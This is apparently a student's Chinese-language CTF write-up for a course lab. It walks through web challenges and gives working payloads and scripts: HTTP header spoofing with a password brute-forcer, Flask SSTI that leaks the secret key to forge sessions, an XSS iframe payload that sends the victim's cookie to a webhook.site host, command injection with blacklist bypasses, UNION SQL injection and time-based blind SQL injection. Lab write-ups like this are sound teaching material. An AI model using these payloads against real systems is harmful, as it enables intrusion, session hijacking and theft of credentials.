# ADL project 2
## Monster

- 題目要求我們用 GIVEMEFLAG method
- 打開 burp suite, 把這個網頁的 request send to repeater, 並修改 method 後 send


- 再來要求我的 IP 要為 127.0.0.1
- 在 header 增加 X-Forwarded-For: 127.0.0.1 然後再 send


- 再來要求我要從 https://www.adlSecurity.com 過來
- 在 header 增加 Referer: https://www.adlSecurity.com 然後再 send


- 要我登入,而且是用 Authorization 形式
- 隱約看到中間有些字,但看不清楚,看原始碼

- google 後發現 rockyou 是一個 wordlists
- 猜測 hirori 為 username, 用他來暴力破解 password
- 爆破密碼的 python code
``` bash=
import requests
from base64 import b64encode
def basic_auth(username, password):
token = b64encode(f"{username}:{password}".encode('utf-8')).decode("ascii")
auth = f'Basic {token}'
return auth
headers = {
'X-Forwarded-For':'127.0.0.1',
'Referer':'https://www.adlSecurity.com'
}
headers['Authorization'] = basic_auth('hitori', 'hitorijanai')
response = requests.request(
"GIVEMEFLAG",
url='http://ctf.adl.tw:12002/admin',
headers=headers
)
'''
file1 = open('b.txt', 'r', encoding='latin-1')
lines = file1.readlines()
count = 0
for line in lines:
s = line.strip()
count += 1
print("{}) try: hitori & {}".format(count, s))
headers['Authorization'] = basic_auth('hitori', s)
response = requests.request("GIVEMEFLAG",url='http://ctf.adl.tw:12002/admin',headers=headers)
if 'You have not been verified' not in response.text:
print('Find! ', s)
break
'''
print(response.content.decode('utf-8'))
```
- 破解密碼為 hitorijanai, 加進 header send 後得到 ADL{h77p_23qu357_h34d32_m0d1f13d!!!!_https://youtu.be/Gc3NKC8TQtY}
## flag store
- 查看 source code 得知是用 flask/jinja2 樣版引擎
- 輸入 {{7*'7'}} 發現可 SSTI

- flask 的 session 運作原理
- 把 session 用secret_key加密後儲存到 cookie 中
- Flask的session格式

- 只要我們能拿到 secret_key 就能進行 session 偽造
- 利用 SSTI 拿 secret_key, 只要輸入{{config}}就可拿到 secret_key 資訊
- 但是 config 在黑名單裡,因此要接龍,輸入{{conconfigfig}} 就行

- 得到 secret_key
- 再來進行偽造
- github 上有加密 flask session 的腳本
```
python3 flask_session_cookie_manager3.py encode -s 'ihfoajfdlngalskfnglnsljgaaskdhglmasdlglasdg' -t '{"user":"1mv32yv32y21ch"}'
```
- 得到加密後偽造的 session
```
eyJ1c2VyIjoiMW12MzJ5djMyeTIxY2gifQ.ZZsAqw.YV-nFLAEJ1UGKv53idNJFr1ErtY
```
- 在買 flag 的時候將 cookie 改為偽造後的 session

- 購買成功

## Meow
1. 找到session id
> 看提供的程式碼
> 從這裡推測每次進網站都要特定session id
> 
>
> 
:::spoiler 程式碼
```python=
import requests
start_exam_url = 'http://140.115.59.7:12004/api/start'
response = requests.post(start_exam_url)
if response.status_code == 200:
# 獲取 session ID
session_id =response.cookies.get('session', None)
print(response.cookies)
print(f"Session ID: {session_id}")
else:
print("Failed to start the exam")
```
:::
--
2. 看答案格式
> 推測答案要10*10的陣列
> 
>
> 
:::spoiler 程式碼
```python=
def new_challenge():
"""Create new questions for a passage"""
p = '\n'.join([lorem.paragraph() for _ in range(random.randint(2, 4))])
qs, ans, res = [], [], []
for _ in range(10):
q = lorem.sentence().replace(".", "?")
op = [lorem.sentence() for _ in range(4)]
qs.append({'question': q, 'options': op})
ans.append(random.randrange(0, 4))
res.append(False)
return {'passage': p, 'questions': qs, 'answers': ans, 'results': res}
```
:::
--
3. 猜答案
:::spoiler 程式碼
```python=
import requests,time
# 假設 Flask 應用程式運行在本地主機的
base_url = 'http://140.115.59.7:12004'
# 開始考試
start_exam_url = f'{base_url}/api/start'
start_response = requests.post(start_exam_url)
session_id = start_response.cookies.get('session', None)
# 如果開始考試成功
if start_response.status_code == 200:
print(2)
print(start_response.json()["status"])
# 提交答案(假設答案為 -1)
answers = [[-1 for i in range(10)] for j in range(10)]
i=0;j=0;score=0;prescore=0;ans=0
while score!=100:
submit_answer_url = f'{base_url}/api/submit'
submit_response = requests.post(submit_answer_url, json=answers,cookies={'session': session_id})
# print(answers)
# 獲取最終成績
get_score_url = f'{base_url}/api/score'
score_response = requests.get(get_score_url,cookies={'session': session_id})
# 解析成績回應
if score_response.status_code == 200:
score_data = score_response.json()
score=score_data['data']['score']
flag=score_data['data']['flag']
print(score,flag)
if score>prescore:
prescore=score
i=(j+1)//10
j=j+1
ans=0
else:
ans=ans+1
answers[i][j%10]=ans
else:
print("Failed to get the question")
```
:::
## msg_board
- XSS 題目
- img 不能用

- 但 iframe 沒有擋

- 去 XSS cheat sheet 尋找有什麼指令可以用
[cheat sheet](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)
- 慢慢排查後發現 iframe + onload 可以用,且他可以直接轉址
- webhook.site 可以擷取去這個網站的人的 request 資訊,其中就包括受害者的 cookie
- payload =
```
<iframe onload = "self.location.href='https://webhook.site/ce6a69b3-60cb-4235-a6e3-3501724d49c4'"></iframe>
```
- 受害者的 cookie 就是 flag
- 但在寫 markdown 的時候因為 project2 deadline 過了,所以 cookie 不見了

## command injection
- 先查看 source code, 看出會把 "bocchi" 對應的 json 訊息當成 linux terminal 的 command 輸入
- 例如輸入 {"bocchi":"'\`ls\`'"}

會把所在目錄的文件檔案都印出來,其中發現flag
- 反引號 `` 用於命令替換
- 但 cat 跟 flag 都被黑名單
- cat 解決方法:用 tac 替代,功能與 cat 相似
- flag 解決方法:用 [f]lag,會與用 flag 一樣效果
- 得到 ADL{QQQQQqqqqqQQQQQ}

## SQL_injection 1
- 先看 source code

- 看到當 username = 'idtjohn88' 跟 password = 從資料庫撈出來的密碼後就能登入
- 利用這條指令慢慢建構攻擊指令

- 利用 UNION 聯合攻擊,有黑名單記得要接龍
- username = ' UNIUNIONON SESELECTLECT 'idtjohn88','abc' --
- 這樣 $sql 就會 =
```
$sql = "SELECT * FROM users WHERE `username` = '' UNIUNIONON SESELECTLECT 'idtjohn88','abc' -- ' AND `password` = '$password';";
```
- 所以 password = abc
- 但是登入失敗

- 想很久後認為可能是資料庫裡不只有 username 跟 password 兩行
- 將 username 改成' UNIUNIONON SESELECTLECT NULL,'idtjohn88','abc' --
- 登入成功,(我不知道怎麼得知資料庫有幾行,瞎猜的)得到 flag

## SQL_injection 2
- 我猜是要爆破原本 username = 'idtjohn88' 的密碼(很幸運猜到了)
- 因為登入不管怎麼失敗都是同一條失敗訊息,查詢各種 SQL injection 類型後覺得時間盲注最適合
- 利用 burp suite 裡的 intruder 可以進行時間盲注爆破
- 開啟 intercept 抓登入的 request
- username =
```
idtjohn88' AANDND IF((BINARY SUBSTRING((SELECT `passwoORrd` FROM users WHWHEREERE `username` = 'idtjohn88' LIMIT 1),1,1)='6'),SLEEP(1),0) -- )
```
- attack type 用 cluster bomb
- username 的第二個 1 當作 payload_1, 6 當作 payload_2
- payload_1 代表 password 的第幾個字元
- payload_2 代表第 payload_1 個字元是不是 payload_2
- 如果是的話會 sleep(1),慢慢爆破就可以知道每個字元是什麼
- 爆破出來的密碼:ADL{LoL_Worlds_2023_ Theme...https://youtu.be/C3Gou Ga0noM...Gods}